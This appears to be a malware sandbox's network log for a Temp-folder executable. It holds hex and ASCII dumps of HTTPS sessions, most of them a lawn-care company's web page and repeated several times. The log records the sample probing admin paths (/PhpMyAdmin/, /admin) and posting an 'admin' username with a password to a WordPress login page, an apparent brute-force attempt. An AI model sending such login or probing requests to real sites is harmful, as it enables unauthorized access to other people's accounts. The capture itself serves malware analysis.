2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	50040	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	414	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=c6e09bdc984b5644856c68440dc2c92d369dc477-1703038413; __cf_bm=xsE.mEgfV7xWnwY62Ax3erGMxF2DlmM9TRkZnS6c1eM-1703038413-1-AU1nzLQ3f/X3DXkufPWlB4TRaS1mlivhlU88oYpkkmIz6HDKfRPlnVv8f/DreHls7dCZ7ADIhtrnJ5zIG9GPW7Q= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1338	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845e03180db3c8-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 50 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhm x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: 31e16f31-990f-43d1-bd7c-e4f7e2fe4e35 X-HubSpot-NotFound: true x-request-id: 31e16f31-990f-43d1-bd7c-e4f7e2fe4e35 X-Trace: 2BFE25F4B1C5666F72B767245B478976A5243307D7000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t5gBJUqloeFvTrXnqS1Lem1PCoW%2BSuPq4p4h7wMw5tVB9ikvTauGwn0H7aorIHccg9UVKLH7punu2WA9OM2eVwWajd6ey7GYOC7h7iTg1xgalzMZNwDWGckFLZwFgBsEqyUsFqQioU2AphyKHi0%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:38 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 36 31 64 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 61d5<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	50023	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php Content-Length: 137 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:38 UTC	137	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 4a 41 55 30 30 33 37 34 39 25 32 33 25 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=JAU003749%23%23&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftwohillsstudio.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:38 UTC	283	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:38 GMT Server: Apache Location: https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:38 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 67 69 2d 73 79 73 2e 73 65 72 76 65 72 32 39 34 2e 63 6f 6d 2f 76 65 72 69 66 79 72 65 71 75 65 73 74 2e 70 68 70 3f 69 70 3d 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 26 61 6d 70 3b 73 69 67 3d 66 62 32 39 34 33 34 65 63 34 65 66 31 62 31 61 62 66 30 63 37 66 34 61 39 36 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a965

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	50280	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	380	OUT	GET /admin HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_VZaX0EwJCXIzsSiHaYUXpXA/xviv+yxm9XJLtb+TfhWMnqnmy2I2U4T3vaFiSrk4upR0E+eyihOcwaLeiqf7xw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
